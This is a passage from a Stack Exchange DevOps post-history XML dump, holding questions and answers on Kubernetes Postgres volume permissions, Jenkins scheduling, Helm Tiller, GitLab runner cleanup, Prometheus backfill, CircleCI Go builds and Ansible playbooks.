Kaizen values so highly.&#xA; - To give small talk for Steve, Bill, and Eric to all talk about when the story needs it&#xA; - To give Bill more backstory (see the &quot;opening up&quot; scene)&#xA; - To make Bill more relatable to many a large demographic of ex-military personal now working in industry&#xA;&#xA;**Question 2:** If an essential part, how does the way the US army organises its operations relate with a DevOps culture? Should it be embraced or avoided in the workplace?&#xA;&#xA;This is harder to answer as I have never been in the military myself. However I wouldn't worry about it too much, it's not essential for the story and you could equally draw these parallels yourself with other teams/organisations you are more familiar with from sports, religion elsewhere.&#xA;&#xA;However, as an extreme outsider the US military has a reputation for a couple of things which do apply to DevOps:&#xA;&#xA; - The size and complexity of the organisation&#xA; - High levels or organisation in a hierarchical manner&#xA; - Enforcing standards and processes&#xA; - Creating strong teams (especially the Marines - see Simon Senik's Leader's Eat Last)&#xA;&#xA;&#xA;&#xA;### TLDR&#xA;Is a knowledge of military required to understand and get value from The Phoenix Project? No. The idea of the military is mostly used as an example for Kaizen, a illustration of Bill's starting point, and to add some character to the erm... characters." ContentLicense="CC BY-SA 4.0" />
  <row Id="36405" PostHistoryTypeId="5" PostId="10669" RevisionGUID="8420666b-e0b7-42fe-a2fc-cc1cf5a7aad2" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="These are pretty much the steps I have followed in order. Basically what is outlined in the documentation:&#xA;&#xA;https://docs.microsoft.com/en-us/azure/aks/azure-files-dynamic-pv&#xA;&#xA;1. `azure-storage-claim.yaml`&#xA;```&#xA;kind: StorageClass&#xA;apiVersion: storage.k8s.io/v1&#xA;metadata:&#xA;  name: test-app-sc&#xA;provisioner: kubernetes.io/azure-file&#xA;mountOptions:&#xA;  - dir_mode=0777&#xA;  - file_mode=0777&#xA;  - uid=1000&#xA;  - gid=1000&#xA;  - mfsymlinks&#xA;  - nobrl&#xA;  - cache=none&#xA;parameters:&#xA;  skuName: Standard_LRS&#xA;  location: westus&#xA;```&#xA;2. `azure-storage.yaml`&#xA;```&#xA;apiVersion: v1&#xA;kind: PersistentVolumeClaim&#xA;metadata:&#xA;  name: test-app-storage&#xA;spec:&#xA;  accessModes:&#xA;    - ReadWriteMany&#xA;  storageClassName: test-app-sc&#xA;  resources:&#xA;    requests:&#xA;      storage: 15Gi&lt;br&gt;&#xA;```&#xA;PVC is now setup.&#xA;&#xA;Changed the mountPath per the Postgres image documentation:&#xA;&#xA;&gt;PGDATA&#xA;&gt;&#xA;&gt;This optional variable can be used to define another location - like a subdirectory - for the database files. The default is /var/lib/postgresql/data, but if the data volume you're using is a filesystem mountpoint (like with GCE persistent disks), Postgres initdb recommends a subdirectory (for example /var/lib/postgresql/data/pgdata ) be created to contain the data.&#xA;&gt;&#xA;&gt;This is an environment variable that is not Docker specific. Because the variable is used by the postgres server binary (see the PostgreSQL docs), the entrypoint script takes it into account.&lt;br&gt;&#xA;&#xA;Based on that, I have my `postgres.yaml` setup like the following:&#xA;```&#xA;apiVersion: apps/v1&#xA;kind: Deployment&#xA;metadata:&#xA;  name: postgres-deployment&#xA;spec:&#xA;  replicas: 1&#xA;  selector:&#xA;    matchLabels:&#xA;      component: postgres&#xA;  template:&#xA;    metadata:&#xA;      labels:&#xA;        component: postgres&#xA;    spec:&#xA;      containers:&#xA;        - name: postgres&#xA;          image: postgres&#xA;          # I don't know, someone suggested this, but doesn't work apparently&#xA;          securityContext: &#xA;            runAsUser: 0&#xA;          ports:&#xA;            - containerPort: 5432&#xA;          env: &#xA;            - name: POSTGRES_DB&#xA;              valueFrom:&#xA;                secretKeyRef:&#xA;                  name: test-app-secrets&#xA;                  key: PGDATABASE&#xA;            - name: POSTGRES_USER&#xA;              valueFrom:&#xA;                secretKeyRef:&#xA;                  name: test-app-secrets&#xA;                  key: PGUSER&#xA;            - name: POSTGRES_PASSWORD&#xA;              valueFrom:&#xA;                secretKeyRef:&#xA;                  name: test-app-secrets&#xA;                  key: PGPASSWORD&#xA;            - name: POSTGRES_INITDB_ARGS&#xA;              value: &quot;-A md5&quot;&#xA;            - name: PGDATA&#xA;              value: /var/lib/postgresql/data/pgdata&#xA;          volumeMounts:&#xA;            - name: postgres-storage&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xA;              subPath: postgres-storage&#xA;      volumes:&#xA;        - name: postgres-storage&#xA;          persistentVolumeClaim:&#xA;            claimName: test-app-storage&#xA;---&#xA;apiVersion: v1&#xA;kind: Service&#xA;metadata:&#xA;  name: postgres-cluster-ip-service&#xA;spec:&#xA;  type: ClusterIP&#xA;  selector:&#xA;    component: postgres&#xA;  ports:&#xA;    - port: 1423&#xA;      targetPort: 5432&#xA;```&#xA;You get the error:&#xA;```&#xA;chmod: changing permissions of '/var/lib/postgresql/data/pgdata': Operation not permitted&#xA;```&#xA;So with either of that as the Dockerfile:&#xA;```&#xA;FROM postgres:11-alpine&#xA;EXPOSE 5432&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data'&#xA;RUN /bin/bash -c 'chmod 777 /var/lib/postgresql/data/pgdata'&#xA;```&#xA;Or&#xA;```&#xA;FROM postgres:11-alpine&#xA;EXPOSE 5432&#xA;```&#xA;It doesn't really matter, you still get the same type of error by doing any the following:&#xA;```&#xA;            ...&#xA;            - name: POSTGRES_INITDB_ARGS&#xA;              value: &quot;-A md5&quot;&#xA;          volumeMounts:&#xA;            - name: postgres-storage&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xA;              subPath: postgres-storage&#xA;      volumes:&#xA;        - name: postgres-storage&#xA;          persistentVolumeClaim:&#xA;            claimName: test-app-storage&#xA;     ...&lt;br&gt;&#xA;```&#xA;Results in the following error:&#xA;```&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xA;&#xA;Data page checksums are disabled.&#xA;&#xA;initdb: error: directory &quot;/var/lib/postgresql/data&quot; exists but is not empty If you want to create a new database system, either remove or empty the directory &quot;/var/lib/postgresql/data&quot; or run initdb with an argument other than &quot;/var/lib/postgresql/data&quot;.&#xA;```&#xA;Try this:&#xA;```&#xA;            ...&#xA;            - name: POSTGRES_INITDB_ARGS&#xA;              value: &quot;-A md5&quot;&#xA;          volumeMounts:&#xA;            - name: postgres-storage&#xA;              mountPath: /var/lib/postgresql/data&#xA;              subPath: postgres-storage&#xA;      volumes:&#xA;        - name: postgres-storage&#xA;          persistentVolumeClaim:&#xA;            claimName: test-app-storage&#xA;     ...&#xA;```&#xA;And it results in this:&#xA;```&#xA;chmod: changing permissions of '/var/lib/postgresql/data': Operation not permitted&#xA;```&#xA;Try this:&#xA;```&#xA;            ...&#xA;            - name: POSTGRES_INITDB_ARGS&#xA;              value: &quot;-A md5&quot;&#xA;              value: &quot;-D /var/lib/postgresql/data/pgdata&quot;&#xA;          volumeMounts:&#xA;            - name: postgres-storage&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xA;              subPath: postgres-storage&#xA;      volumes:&#xA;        - name: postgres-storage&#xA;          persistentVolumeClaim:&#xA;            claimName: test-app-storage&#xA;     ...&#xA;```&#xA;And it results in this:&#xA;```&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xA;&#xA;Data page checksums are disabled.&#xA;&#xA;initdb: error: could not change permissions of directory &quot;/var/lib/postgresql/data/pgdata&quot;: Operation not permitted fixing permissions on existing directory /var/lib/postgresql/data/pgdata ...&#xA;&#xA;So nothing seems to work that I've tried and following the documentation where I can.&#xA;```&#xA;Someone suggested to get rid of the volume mounts like so:&#xA;```&#xA;            ...&#xA;            - name: POSTGRES_INITDB_ARGS&#xA;              value: &quot;-A md5&quot;&#xA;            - name: PGDATA&#xA;              value: /var/lib/postgresql/data/pgdata&#xA;      volumes:&#xA;        - name: postgres-storage&#xA;          persistentVolumeClaim:&#xA;            claimName: test-app-storage&#xA;     ...&#xA;```&#xA;Which, hey, that actually works! But doesn't persist data given it just uses the Pod storage so is pretty pointless:&#xA;&#xA;[![enter image description here][1]][1]&#xA;&#xA;And sure enough when you create a table in Postgres, destroy the Pod, and then redeploy it, of course the table is no longer there.&#xA;&#xA;So more than likely I'm doing something wrong, but I've been following the documentation and seems like this should work. &#xA;&#xA;Where are things going wrong?&#xA;&#xA;&#xA;**EDIT: Permissions in Pod**&#xA;&#xA;Apparently it is a permissions issue that occurs when `PGDATA` is the same directory as `mountPath`. For example:&#xA;&#xA;```&#xA;  ...&#xA;  - name: PGDATA&#xA;    value: /var/lib/postgresql-data&#xA;volumeMounts:&#xA;  - name: test-app-storage&#xA;    mountPath: /var/lib/postgresql-data&#xA;    subPath: postgres-storage&#xA;...&#xA;&#xA;or&#xA;&#xA;  ...&#xA;  # if PGDATA is not specified it defaults to /var/lib/postgresql/data&#xA;  # - name: PGDATA&#xA;  #   value: /var/lib/postgresql-data&#xA;volumeMounts:&#xA;  - name: test-app-storage&#xA;    mountPath: /var/lib/postgresql/data&#xA;    subPath: postgres-storage&#xA;...&#xA;&#xA;```&#xA;&#xA;Something like this where they do not match will create the Pod, but uses Pod storage which I obviously don't want:&#xA;&#xA;```&#xA;  # Thus /var/lib/postgresql/data&#xA;  # - name: PGDATA&#xA;  #   value: /var/lib/postgresql-data&#xA;volumeMounts:&#xA;  - name: test-app-storage&#xA;    mountPath: /var/lib/postgresql-data&#xA;    subPath: postgres-storage&#xA;```&#xA;Permissions `ls -l` looks like this:&#xA;&#xA;```&#xA;$ ls -l&#xA;&#xA;drwxr-xr-x 1 root     root     4096 Feb  2 06:06 apt&#xA;drwxr-xr-x 1 root     root     4096 Feb  2 06:07 dpkg&#xA;drwxr-xr-x 2 root     root     4096 Feb  2 06:06 exim4&#xA;drwxr-xr-x 2 root     root     4096 Aug 28  2018 logrotate&#xA;drwxr-xr-x 2 root     root     4096 Nov 10 12:17 misc&#xA;drwxr-xr-x 2 root     root     4096 Jan 30 00:00 pam&#xA;drwxr-xr-x 1 postgres postgres 4096 Feb  2 06:07 postgresql&#xA;drwxrwxrwx 2     1000     1000    0 Jan 31 21:46 postgresql-data&#xA;drwxr-xr-x 1 root     root     4096 Jan 30 00:00 systemd&#xA;drwxr-xr-x 3 root     root     4096 Feb  2 06:07 ucf&#xA;&#xA;$ ls -l postgresql &amp;&amp; ls -l postgresql/data &amp;&amp; ls -l postgresql-data&#xA;total 4&#xA;drwx------ 19 postgres postgres 4096 Feb  5 23:28 data&#xA;total 124&#xA;drwx------ 6 postgres postgres  4096 Feb  5 23:28 base&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:29 global&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_commit_ts&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_dynshmem&#xA;-rw------- 1 postgres postgres  4281 Feb  5 23:28 pg_hba.conf&#xA;-rw------- 1 postgres postgres  1636 Feb  5 23:28 pg_ident.conf&#xA;drwx------ 4 postgres postgres  4096 Feb  5 23:33 pg_logical&#xA;drwx------ 4 postgres postgres  4096 Feb  5 23:28 pg_multixact&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_notify&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_replslot&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_serial&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_snapshots&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_stat&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:51 pg_stat_tmp&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_subtrans&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_tblspc&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_twophase&#xA;-rw------- 1 postgres postgres     3 Feb  5 23:28 PG_VERSION&#xA;drwx------ 3 postgres postgres  4096 Feb  5 23:28 pg_wal&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_xact&#xA;-rw------- 1 postgres postgres    88 Feb  5 23:28 postgresql.auto.conf&#xA;-rw------- 1 postgres postgres 26588 Feb  5 23:28 postgresql.conf&#xA;-rw------- 1 postgres postgres    36 Feb  5 23:28 postmaster.opts&#xA;-rw------- 1 postgres postgres    94 Feb  5 23:28 postmaster.pid&#xA;total 0&#xA;```&#xA;&#xA;The permissions for where it creates the data files is `postgres`. However, doing this, it doesn't map to Azure Files and the PVC. It just stays and is destroyed with the Pod.&#xA;&#xA;I think what is happening is `mountPath` uses `root` and `PGDATA` uses `postgres`, and somehow `mountPath` is trying to use `postgres`??? &#xA;&#xA;Really, not sure and still lost as to how to resolve it.&#xA;&#xA;**EDIT2**&#xA;&#xA;Came across this answer:&#xA;&#xA;https://stackoverflow.com/a/51203031/3123109&#xA;&#xA;So added the following to mine:&#xA;&#xA;```&#xA;- name: postgres&#xA;  image: postgres&#xA;  command: &#xA;  - /bin/chown&#xA;  - -R&#xA;  - &quot;1000&quot;&#xA;  - /var/lib/postgresql/data&#xA;```&#xA;But this generates a new error:&#xA;```&#xA;The selected container has not logged any messages yet.&#xA;```&#xA;&#xA;Progress, I guess.&#xA;&#xA;&#xA;  [1]: https://i.stack.imgur.com/E8fIG.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36406" PostHistoryTypeId="5" PostId="10682" RevisionGUID="e90fa2d6-085b-41e1-9221-4be1f3fae61b" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="You are possibly looking for a third party stack on cluster to help you, if so there is long list you can explore and play to your need&#xA;&#xA;Various Kubernetes logging tools you could consider from below list: &#xA;&#xA;&gt; [Fluentd](https://docs.fluentd.org/container-deployment/kubernetes)&#xA;&gt;&#xA;&gt; [ELK Stack](https://kubernetes.io/docs/tasks/debug-application-cluster/logging-elasticsearch-kibana/)&#xA;&gt;&#xA;&gt; [Stackdriver](https://kubernetes.io/docs/tasks/debug-application-cluster/logging-stackdriver/)&#xA;&#xA;I have used this link to setup [EFK](https://www.digitalocean.com/community/tutorials/how-to-set-up-an-elasticsearch-fluentd-and-kibana-efk-logging-stack-on-kubernetes) on my local cluster." ContentLicense="CC BY-SA 4.0" />
  <row Id="36407" PostHistoryTypeId="5" PostId="10732" RevisionGUID="3521a191-62c3-4d56-b642-14711583da91" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I have created a Jenkins job which have Choice Parameters, Active Choice Parameters, Active choice reactive params and Reactive reference params.&#xA;&#xA;This job needs to be scheduled with parameters.&#xA;&#xA;As the active choice params and reactive choice params are dynamically executed with groovy scripts.&#xA;&#xA;How can I pass these parameters to schedule a job with cron present in Jenkins.&#xA;&#xA;I'm using [Parameterized Scheduler][1] plugin for scheduling.&#xA;&#xA;&#xA;**EDIT**&#xA;&#xA;Say I have a job which have &#xA;&#xA;1 Active choice parameter PARAM_A &#xA;&#xA;1 Active choice reactive parameter PARAM_B &#xA;&#xA;2 active choice reactive reference parameters PARAM_C and PARAM_D.&#xA;&#xA;I tried by hard coding active choice parameter in the cron like below&#xA;```&#xA;15 7 * * * % PARAM_A=somestring&#xA;```&#xA;But with the provided active choice value, the job is getting failed.&#xA;Because the **reactive reference parameters** which were written in groovy script are not getting executed when i triggered with scheduler in jenkins.&#xA;&#xA;In a jenkins schedule job using parameterized-scheduler, where if we give input &#xA;&#xA;  [1]: https://plugins.jenkins.io/parameterized-scheduler" ContentLicense="CC BY-SA 4.0" />
  <row Id="36408" PostHistoryTypeId="5" PostId="9685" RevisionGUID="9a8f35c7-ba06-472b-9a2b-8a446e235e58" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="See my answer [here][1]:&#xA;&#xA;&gt; Ran into this today when trying to use Garden.io for a cluster running in Jelastic.&#xA;&gt;&#xA;&gt; Found the solution in [this Github comment][2]:&#xA;&gt;&#xA;&gt;First acquire a local binary for Tiller (server-version of Helm), either by [compiling][3] or by [downloading it from the release page][4]. &#xA;&gt;&#xA;&gt; Then run:&#xA;&gt;&#xA;&gt; ``` bash&#xA;&gt; $ export HELM_HOST=&quot;:44134&quot;&#xA;&gt; $ tiller -listen ${HELM_HOST} -alsologtostderr &gt;/dev/null 2&gt;&amp;1 &amp;&#xA;&gt; ```&#xA;&gt;&#xA;&gt; This will run a local version of the Kubernetes Helm Server. Now try your original command again, kubectl, that will delegate to this local Helm instead and manage to connect.&#xA;&#xA;  [1]: https://stackoverflow.com/a/58700185/399058&#xA;  [2]: https://github.com/helm/helm/issues/1455#issuecomment-533802309&#xA;  [3]: https://helm.sh/docs/using_helm/#from-source-linux-macos&#xA;  [4]: https://github.com/helm/helm/releases/tag/v2.14.3&#xA;&#xA;&#xA;  " ContentLicense="CC BY-SA 4.0" />
  <row Id="36409" PostHistoryTypeId="5" PostId="11789" RevisionGUID="270fda60-ca12-4edc-89ba-62cf354d9b45" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I'm still a newbie learning the kubernetes and trying to clarify the details.&#xA;&#xA;I've read [this document][1] about the components and would like to know  the structure of kubernetes master node:&#xA;&#xA;1. is it allowed to deploy the kubernetes control plane components on different master nodes in same cluster?&#xA;(e.g. deploy &quot;kube-schedulter&quot; on master node A and &quot;kube-controller-manager daemon&quot; on master node B)&#xA;2. Is there options to make HA/FT for the master node?&#xA;4. is it suggested to deploy all the kubernetes control plane components together on a master node no matter what kind of use cases?&#xA;4. does the deployment of master node(s) support both static IP address and DHCP IP address assignment?&#xA;&#xA;  [1]: https://kubernetes.io/docs/concepts/overview/components/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36410" PostHistoryTypeId="5" PostId="11537" RevisionGUID="e4010666-208c-4f3e-9b31-dafaf0d98dd6" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Add a config file with parameters used in install/run script. You can look at Harbor ([Github][1], [install docs][2]) as an example of doing just that (and they have a configuration migrator).&#xA;&#xA;  [1]: https://github.com/goharbor/harbor&#xA;  [2]: https://goharbor.io/docs/1.10/install-config/download-installer/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36411" PostHistoryTypeId="5" PostId="11430" RevisionGUID="e3e38819-3827-4940-8847-44564dda47ae" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="It may help to try it on another computer or inside a VM to isolate the cause.&#xA;&#xA;I ran into the same issue on one computer (stable Manjaro with snap docker). Interestingly, I was able to build the same Dockerfile without issues on another computer (running KDE Neon with snap docker). I'm not sure what the actual cause of the issue is, but it seems, in my case, to be a problem with docker itself and not the Dockerfile.&#xA;&#xA;#### [Dockerfile](https://github.com/mlaradji/redis-cluster-docker-swarm/blob/master/redis-sentinel/Dockerfile):&#xA;```Dockerfile&#xA;FROM redis:5.0.9-alpine&#xA;&#xA;LABEL version=&quot;1.0.4&quot;&#xA;&#xA;ENV SENTINEL_QUORUM=2 \&#xA;    SENTINEL_DOWN_AFTER=1000 \&#xA;    SENTINEL_FAILOVER=1000 \&#xA;    REDIS_MASTER_NAME=redismaster \&#xA;    REDIS_MASTER=redis-zero \&#xA;    REDIS_SENTINEL_NAME=redis-sentinel&#xA;&#xA;RUN apk --no-cache add drill&#xA;[...]&#xA;```&#xA;#### Output:&#xA;```sh&#xA;ERROR: Unable to read database state: No such file or directory&#xA;ERROR: Failed to open apk database: No such file or directory&#xA;The command '/bin/sh -c apk --no-cache add drill' returned a non-zero code: 99&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36412" PostHistoryTypeId="5" PostId="11395" RevisionGUID="b2275e5e-d9b4-4cca-9f69-a8a350d1aedf" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="## Just unregister offline runners:&#xA;&#xA;As per [GitLab Runner commands](https://docs.gitlab.com/runner/commands/#gitlab-runner-verify) manual:&#xA;&#xA;&gt; To delete the old and removed from GitLab runners, execute the following command.&#xA;&#xA;```&#xA;    gitlab-runner verify --delete&#xA;```&#xA;&#xA;## You are not alone&#xA;&#xA;P.S. The problem is common: there [are many issues](https://google.com/search?q=site%3A+https%3A%2F%2Fgitlab.com%2Fgitlab-org%2F+issue++intitle%3Arunner+intitle%3Aclean|remove|expired) with questions like yours.&#xA;&#xA;Moreover, there are several custom recipes to unregister &quot;offline&quot; runners:&#xA;&#xA;* [`bash` script](https://gitlab.com/gitlab-org/gitlab-foss/issues/19828#note_54956232)&#xA;* [API oneliner with `curl`](https://gitlab.com/gitlab-org/gitlab-foss/issues/19828#note_132438194)&#xA;* [`python` script](https://gitlab.com/gitlab-org/gitlab-foss/issues/19828#note_202265652)&#xA;&#xA;## API for &quot;zombie&quot; runners&#xA;As [rlandster](https://devops.stackexchange.com/users/10807/rlandster) noted, sometimes you'll need an [API](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19828#note_132438194)&#xA; to unregister &quot;zombie&quot; runners.&#xA;&#xA;```&#xA;curl -S --header &quot;PRIVATE-TOKEN:&lt;token&gt;&quot; &quot;https://gitlab.example.com/api/v4/runners/all&quot; | jq '.[] | select(.status == &quot;offline&quot;) | .id' | xargs -I runner_id curl -S --request DELETE --header &quot;PRIVATE-TOKEN:&lt;token&gt;&quot; &quot;https://gitlab.example.com/api/v4/runners/runner_id&quot;`&#xA;```&#xA;&#xA;This will list all runners, instead of the personal ones: [https://docs.gitlab.com/ee/api/runners.html#list-all-runners](https://docs.gitlab.com/ee/api/runners.html#list-all-runners)&#xA;&#xA;## P.S. note about runners&#xA;&#xA;Pls note that `Gitlab` itself doesn't manage runners. So, e.g. to restart or shutdown the runner, use appropriate commands on the runner's hosts." ContentLicense="CC BY-SA 4.0" />
  <row Id="36414" PostHistoryTypeId="5" PostId="11322" RevisionGUID="f8932cf1-7222-4bcc-be11-d9d72c2d4c7c" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Answering my own question (after a few days of research).&#xA;&#xA;I have yet to test this but https://github.com/Cleafy/promqueen seems to be designed for this purpose:&#xA;&#xA;&gt; PromQueen made possible to record prometheus metrics offline. PromQueen can, &gt; therefore, backfill the recorded data inside a native prometheus database.&#xA;&gt;&#xA;&gt; PromQueen is composed of two primary tools:&#xA;&gt;&#xA;&gt; - promrec tapes the metrics in a specified output file.&#xA;&gt; - promplay backfills the prometheus database from scratch.&#xA;&#xA;It doesn't have a lot of contributors but it comes from another POC repo and it was updated in the last 6 months, so I suspect it'll work fine.&#xA;&#xA;In any case, it proves that you can plausibly back-fill prometheus, so it's not impossible.&#xA;&#xA;## Roadmap - Prometheus&#xA;&#xA;You can also find this in the prometheus road-map, so it's clearly slated to be built-in eventually.&#xA;&#xA;https://prometheus.io/docs/introduction/roadmap/&#xA;&#xA;&gt; Backfill time series&#xA;Backfilling will permit bulk loads of data in the past. This will allow for retroactive rule evaluations, and transferring old data from other monitoring systems." ContentLicense="CC BY-SA 4.0" />
  <row Id="36415" PostHistoryTypeId="5" PostId="11314" RevisionGUID="3142cd6f-2e24-4219-bea1-eddec953718c" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="From [docs][1]: &#xA;&#xA;&#xA;&gt; `-B`  Use bcrypt encryption for passwords. This is currently considered to be very secure.&#xA;&gt;&#xA;&gt; `-b`  Use batch mode; i.e., get the password from the command line rather than prompting for it. This option should be used with extreme care, since the password is clearly visible on the command line. For script use see the -i option. Available in 2.4.4 and later.&#xA;&gt;&#xA;&gt; `-n`  Display the results on standard output rather than updating a file. This is useful for generating password records acceptable to Apache for inclusion in non-text data stores. This option changes the syntax of the command line, since the passwdfile argument (usually the first one) is omitted. It cannot be combined with the -c option.&#xA;&#xA;&#xA;  [1]: https://httpd.apache.org/docs/2.4/programs/htpasswd.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="36417" PostHistoryTypeId="5" PostId="11849" RevisionGUID="da86fa69-b5e9-4b36-8635-2cb44627392a" CreationDate="2020-06-18T11:14:18.690" UserId="22804" Comment="added 70 characters in body" Text="Go and devops are both new things for me. I'd like to setup a CI that tests and builds my module, then stores artifacts for download. In addition it'd be good to cache dependencies for next builds.&#xD;&#xA;&#xD;&#xA;I don't get how to do it using subdirectory for the go product. I want my git repository to look like that:&#xD;&#xA;```&#xD;&#xA;+ repository_root/&#xD;&#xA;  + go/&#xD;&#xA;    - go.mod&#xD;&#xA;    - go.sum&#xD;&#xA;    + hello/&#xD;&#xA;      - main.go&#xD;&#xA;  + cpp/&#xD;&#xA;  + python/&#xD;&#xA;  + .circleci/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;go.mod&#xD;&#xA;```&#xD;&#xA;module github.com/{USER}/{REPOSITORY_ROOT}/go&#xD;&#xA;&#xD;&#xA;go 1.14&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Of course {USER} is replace with my github user name and {REPOSITORY_ROOT} is the repo name.&#xD;&#xA;&#xD;&#xA;For now I have a following config.yml that doesn't work.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: 2&#xD;&#xA;jobs:&#xD;&#xA;  build:&#xD;&#xA;    working_directory: ~/project/go&#xD;&#xA;    docker:&#xD;&#xA;      - image: circleci/golang:1.9&#xD;&#xA;&#xD;&#xA;    steps:&#xD;&#xA;      - checkout:&#xD;&#xA;          path: ~/project/&#xD;&#xA;&#xD;&#xA;      - run: mkdir bin&#xD;&#xA;      - run: go get -v -t -d ./...&#xD;&#xA;      - run: go test -v ./...&#xD;&#xA;      - run: go build -o bin/hello.exe github.com/{USER}/{REPOSITORY_ROOT}/go/hello&#xD;&#xA;&#xD;&#xA;      - store_artifacts:&#xD;&#xA;          path: bin/&#xD;&#xA;          destination: hello-app&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Error on build command:&#xD;&#xA;```&#xD;&#xA;#!/bin/bash -eo pipefail&#xD;&#xA;go build -o ./bin/hello.exe github.com/{USER}/{REPO_ROOT}/go/hello&#xD;&#xA;can't load package: package github.com/{USER}/{REPO_ROOT}/go/hello: cannot find package &quot;github.com/{USER}/{REPO_ROOT}/go/hello&quot; in any of:&#xD;&#xA;	/usr/local/go/src/github.com/{USER}/{REPO_ROOT}/go/hello (from $GOROOT)&#xD;&#xA;	/go/src/github.com/{USER}/{REPO_ROOT}/go/hello (from $GOPATH)&#xD;&#xA;&#xD;&#xA;Exited with code exit status 1&#xD;&#xA;CircleCI received exit code 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I know that the module is outside of `GOPATH` but I have the same setup on my local machine and the same build command works just fine." ContentLicense="CC BY-SA 4.0" />
  <row Id="36424" PostHistoryTypeId="5" PostId="11847" RevisionGUID="3c264206-d960-42ae-8337-dfeaa45d8c6e" CreationDate="2020-06-18T12:07:48.533" UserId="22799" Comment="added 13 characters in body" Text="What I have done before goes on the same direction as Zeitounator commented; you can have one or more &quot;meta&quot; or master playbooks that import the ones you need to run your entire automation. To add to Zaito's comment; you can use the `when` clause on `import_playbook` or `include` to control the execution of those &quot;inner&quot; playbooks; something like this:&#xD;&#xA;&#xD;&#xA;Say you want to execute PlatformB playbooks only for an stg or prod environment using a defined `env` ansible variable:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- include: platformA/do_something_on_platformA.yml&#xD;&#xA;- include: platformB/do_something_on_platformB.yml&#xD;&#xA;  when: env == 'stg' or env == 'prod'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;you could change the value of `env` using `--extra-vars` on execution time or something.&#xD;&#xA;&#xD;&#xA;hope it helps, cheers." ContentLicense="CC BY-SA 4.0" />
  <row Id="36425" PostHistoryTypeId="2" PostId="11854" RevisionGUID="3f61c4e9-22f8-486f-ad18-534389a127ac" CreationDate="2020-06-18T12:14:25.500" UserId="22812" Text="Given a company adopts infrastructure as code deployment model using ARM templates. &#xD;&#xA;&#xD;&#xA;Is it a good practice to attempt to re-deploy the ARM templates alongside the application itself ?&#xD;&#xA;&#xD;&#xA;If yes what deployment mode (incremental/substitution) should be used and why?&#xD;&#xA;&#xD;&#xA;Thank you!" ContentLicense="CC BY-SA 4.0" />
  <row Id="36426" PostHistoryTypeId="1" PostId="11854" RevisionGUID="3f61c4e9-22f8-486f-ad18-534389a127ac" CreationDate="2020-06-18T12:14:25.500" UserId="22812" Text="CI/CD ARM Templates - Should the cloud infrastructure and resources be checked on each deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36427" PostHistoryTypeId="3" PostId="11854" RevisionGUID="3f61c4e9-22f8-486f-ad18-534389a127ac" CreationDate="2020-06-18T12:14:25.500" UserId="22812" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36428" PostHistoryTypeId="2" PostId="11855" RevisionGUID="2c382fb9-90a6-4100-b885-37627d30dd2e" CreationDate="2020-06-18T13:02:40.883" UserId="22743" Text="For health monitoring, I would recommend the [prometheus-operator][1]. If you are looking for application logs, you should consider a logging stack such as elasticsearch-fluentd-kibana. I personally would recommend the [kube-fluentd-operator][2]. Additionally, if you would like to see the kubernetes events I find [eventrouter][3] quite useful which can also be wired into your logging infrastructure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/coreos/prometheus-operator&#xD;&#xA;  [2]: https://github.com/vmware/kube-fluentd-operator&#xD;&#xA;  [3]: https://github.com/heptiolabs/eventrouter" ContentLicense="CC BY-SA 4.0" />
